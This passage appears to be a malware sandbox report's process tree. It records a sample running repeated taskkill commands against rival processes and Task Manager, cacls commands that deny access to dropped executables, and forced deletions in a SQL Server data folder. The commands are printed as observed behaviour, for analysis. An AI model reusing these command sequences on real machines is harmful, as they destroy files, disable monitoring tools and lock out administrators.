  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
  2⤵
  PID:2148
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sqlcmd.exe
  2⤵
  PID:3356
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sqlcmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4800
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
  2⤵
  PID:6348
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
  2⤵
  PID:1284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhos.exe
  2⤵
  PID:6852
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5996
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhos.exe
  2⤵
  PID:4772
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhou.exe
  2⤵
  PID:2776
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhou.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhou.exe
  2⤵
  PID:2268
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhou.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4232
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im m6.bin.bin.exe
  2⤵
  PID:2100
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im m6.bin.bin.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im javaw.exe
  2⤵
  PID:2780
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im javaw.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:7056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im clsso.exe
  2⤵
  PID:6652
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im clsso.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:1116
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:6760
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1200
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:1240
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7028
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:2448
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:5032
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6188
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:5916
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im csrs.exe
  2⤵
  PID:7016
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im csrs.exe
  2⤵
  PID:2600
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sysdo.exe
  2⤵
  PID:3004
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sysdo.exe
  2⤵
  PID:5496
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3692
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im kerlop.exe
  2⤵
  PID:6068
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im kerlop.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\kerlop.exe /t /e /c /d everyone
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2144
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\kerlop.exe /t /e /c /d everyone
    3⤵
    PID:6816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\kerlop.exe /t /e /c /d system
  2⤵
  PID:1832
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\kerlop.exe /t /e /c /d system
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im poijek.exe
  2⤵
  PID:6052
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im poijek.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1636
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\poijek.exe /t /e /c /d everyone
  2⤵
  PID:6268
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\poijek.exe /t /e /c /d everyone
    3⤵
    PID:5804
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\poijek.exe /t /e /c /d system
  2⤵
  PID:5528
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\poijek.exe /t /e /c /d system
    3⤵
    PID:2848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sk.exe
  2⤵
  PID:1472
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sk.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\sk.exe /t /e /c /d everyone
  2⤵
  PID:4796
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\sk.exe /t /e /c /d everyone
    3⤵
    PID:836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\sk.exe /t /e /c /d system
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5392
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\sk.exe /t /e /c /d system
    3⤵
    PID:2096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im zwnwy.exe
  2⤵
  PID:4788
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im zwnwy.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\zwnwy.exe /t /e /c /d everyone
  2⤵
  PID:6080
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\zwnwy.exe /t /e /c /d everyone
    3⤵
    PID:4856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\zwnwy.exe /t /e /c /d system
  2⤵
  PID:5320
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1884
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\zwnwy.exe /t /e /c /d system
    3⤵
    PID:2596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im leiopd.exe
  2⤵
  PID:3740
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im leiopd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\leiopd.exe /t /e /c /d everyone
  2⤵
  PID:3068
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\leiopd.exe /t /e /c /d everyone
    3⤵
    PID:6700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\leiopd.exe /t /e /c /d system
  2⤵
  PID:2656
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\leiopd.exe /t /e /c /d system
    3⤵
    PID:4756
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im kdiel.exe
  2⤵
  PID:4740
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im kdiel.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5652
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\kdiel.exe /t /e /c /d everyone
  2⤵
  PID:5824
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\kdiel.exe /t /e /c /d everyone
    3⤵
    PID:4300
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\kdiel.exe /t /e /c /d system
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3652
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\kdiel.exe /t /e /c /d system
    3⤵
    PID:6748
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im project1.exe
  2⤵
  PID:4916
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im project1.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\project1.exe /t /e /c /d everyone
  2⤵
  PID:5848
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\project1.exe /t /e /c /d everyone
    3⤵
    PID:5184
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\project1.exe /t /e /c /d system
  2⤵
  PID:4628
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\project1.exe /t /e /c /d system
    3⤵
    PID:1564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im poijek
  2⤵
  PID:5676
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im poijek
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\poijek /t /e /c /d everyone
  2⤵
  PID:704
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\poijek /t /e /c /d everyone
    3⤵
    PID:5096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\poijek /t /e /c /d system
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2660
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1544
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\poijek /t /e /c /d system
    3⤵
    PID:6056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im x01433.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1760
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3908
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im x01433.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\x01433.exe /t /e /c /d everyone
  2⤵
  PID:3112
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\x01433.exe /t /e /c /d everyone
    3⤵
    PID:4384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\x01433.exe /t /e /c /d system
  2⤵
  PID:2620
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\x01433.exe /t /e /c /d system
    3⤵
    PID:7160
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im new.sys
  2⤵
  PID:5784
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im new.sys
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\project1.exe /t /e /c /d new.sys
  2⤵
  PID:1612
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\project1.exe /t /e /c /d new.sys
    3⤵
    PID:3168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\project1.exe /t /e /c /d new.sys
  2⤵
  PID:464
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\project1.exe /t /e /c /d new.sys
    3⤵
    PID:6252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im kill.exe
  2⤵
  PID:3932
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im kill.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\kill.exe /t /e /c /d everyone
  2⤵
  PID:6184
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\kill.exe /t /e /c /d everyone
    3⤵
    PID:1416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\kill.exe /t /e /c /d system
  2⤵
  PID:2060
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\kill.exe /t /e /c /d system
    3⤵
    PID:6548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im project1.exe
  2⤵
  PID:6204
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im project1.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\project1.exe /t /e /c /d everyone
  2⤵
  PID:6752
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\project1.exe /t /e /c /d everyone
    3⤵
    PID:5504
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\ProgramData\project1.exe /t /e /c /d system
  2⤵
  PID:2324
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\ProgramData\project1.exe /t /e /c /d system
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6800
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im kerlop.exe
  2⤵
  PID:1580
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im kerlop.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\kerlop.exe /t /e /c /d everyone
  2⤵
  PID:2352
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1148
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\kerlop.exe /t /e /c /d everyone
    3⤵
    PID:5420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\kerlop.exe /t /e /c /d system
  2⤵
  PID:7104
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\kerlop.exe /t /e /c /d system
    3⤵
    PID:4640
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im poijek.exe
  2⤵
  PID:1512
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im poijek.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\poijek.exe /t /e /c /d everyone
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6556
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\poijek.exe /t /e /c /d everyone
    3⤵
    PID:3520
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\poijek.exe /t /e /c /d system
  2⤵
  PID:5216
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4888
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\poijek.exe /t /e /c /d system
    3⤵
    PID:5124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sk.exe
  2⤵
  PID:2348
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sk.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5376
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\sk.exe /t /e /c /d everyone
  2⤵
  PID:1084
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\sk.exe /t /e /c /d everyone
    3⤵
    PID:5976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\sk.exe /t /e /c /d system
  2⤵
  PID:1764
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\sk.exe /t /e /c /d system
    3⤵
    PID:6548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im zwnwy.exe
  2⤵
  PID:456
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im zwnwy.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:7224
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\zwnwy.exe /t /e /c /d everyone
  2⤵
  PID:2648
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\zwnwy.exe /t /e /c /d everyone
    3⤵
    PID:6424
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\zwnwy.exe /t /e /c /d system
  2⤵
  PID:4684
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\zwnwy.exe /t /e /c /d system
    3⤵
    PID:1556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im leiopd.exe
  2⤵
  PID:6732
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im leiopd.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7336
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\leiopd.exe /t /e /c /d everyone
  2⤵
  PID:2708
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\leiopd.exe /t /e /c /d everyone
    3⤵
    PID:2592
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\leiopd.exe /t /e /c /d system
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2936
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\leiopd.exe /t /e /c /d system
    3⤵
    PID:7264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im kdiel.exe
  2⤵
  PID:7128
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im kdiel.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\kdiel.exe /t /e /c /d everyone
  2⤵
  PID:3012
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\kdiel.exe /t /e /c /d everyone
    3⤵
    PID:7312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\kdiel.exe /t /e /c /d system
  2⤵
  PID:1624
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\kdiel.exe /t /e /c /d system
    3⤵
    PID:7360
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im project1.exe
  2⤵
  PID:5296
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im project1.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7376
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\project1.exe /t /e /c /d everyone
  2⤵
  PID:6064
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\project1.exe /t /e /c /d everyone
    3⤵
    PID:7472
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\project1.exe /t /e /c /d system
  2⤵
  PID:3440
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\project1.exe /t /e /c /d system
    3⤵
    PID:7524
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im poijek
  2⤵
  PID:1444
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im poijek
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:7408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\poijek /t /e /c /d everyone
  2⤵
  PID:3928
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\poijek /t /e /c /d everyone
    3⤵
    PID:7556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\poijek /t /e /c /d system
  2⤵
  PID:2116
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\poijek /t /e /c /d system
    3⤵
    PID:7488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im x01433.exe
  2⤵
  PID:4400
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im x01433.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\x01433.exe /t /e /c /d everyone
  2⤵
  PID:5940
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\x01433.exe /t /e /c /d everyone
    3⤵
    PID:7320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\x01433.exe /t /e /c /d system
  2⤵
  PID:3452
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\x01433.exe /t /e /c /d system
    3⤵
    PID:7528
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im new.sys
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6992
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im new.sys
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:7296
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\project1.exe /t /e /c /d new.sys
  2⤵
  PID:6308
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\project1.exe /t /e /c /d new.sys
    3⤵
    PID:7576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\project1.exe /t /e /c /d new.sys
  2⤵
  PID:2928
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6816
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\project1.exe /t /e /c /d new.sys
    3⤵
    PID:7456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im kill.exe
  2⤵
  PID:2824
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im kill.exe
    3⤵
    PID:7428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\kill.exe /t /e /c /d everyone
  2⤵
  PID:2096
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\kill.exe /t /e /c /d everyone
    3⤵
    PID:7732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\kill.exe /t /e /c /d system
  2⤵
  PID:1824
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\kill.exe /t /e /c /d system
    3⤵
    PID:7668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im project1.exe
  2⤵
  PID:2800
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im project1.exe
    3⤵
    PID:7764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\project1.exe /t /e /c /d everyone
  2⤵
  PID:7020
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\project1.exe /t /e /c /d everyone
    3⤵
    PID:7796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls C:\RECYCLER\project1.exe /t /e /c /d system
  2⤵
  PID:4264
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\RECYCLER\project1.exe /t /e /c /d system
    3⤵
    PID:7724
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SqlManagement.exe
  2⤵
  PID:1944
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - Kills process with taskkill
    PID:7716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sSqlManagement.exe
  2⤵
  PID:256
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SqlManagement.exe
  2⤵
  PID:1336
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SystemManagement.exe
  2⤵
  PID:2896
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    PID:7808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
  2⤵
  PID:4516
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\*
  2⤵
  PID:1728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  PID:1092
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:7924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im wscript.exe
  2⤵
  PID:8064
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWD.exe
  2⤵
  PID:8124
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Kills process with taskkill
    PID:8184
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWA.exe
  2⤵
  PID:3136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWA.exe
    3⤵
    PID:6672
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWB.exe
  2⤵
  PID:7276
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWB.exe
    3⤵
    - Kills process with taskkill
    PID:52
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWC.exe
  2⤵
  PID:5248
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWC.exe
    3⤵
    PID:840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENAC.exe
  2⤵
  PID:1044
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENAC.exe
    3⤵
    PID:4404
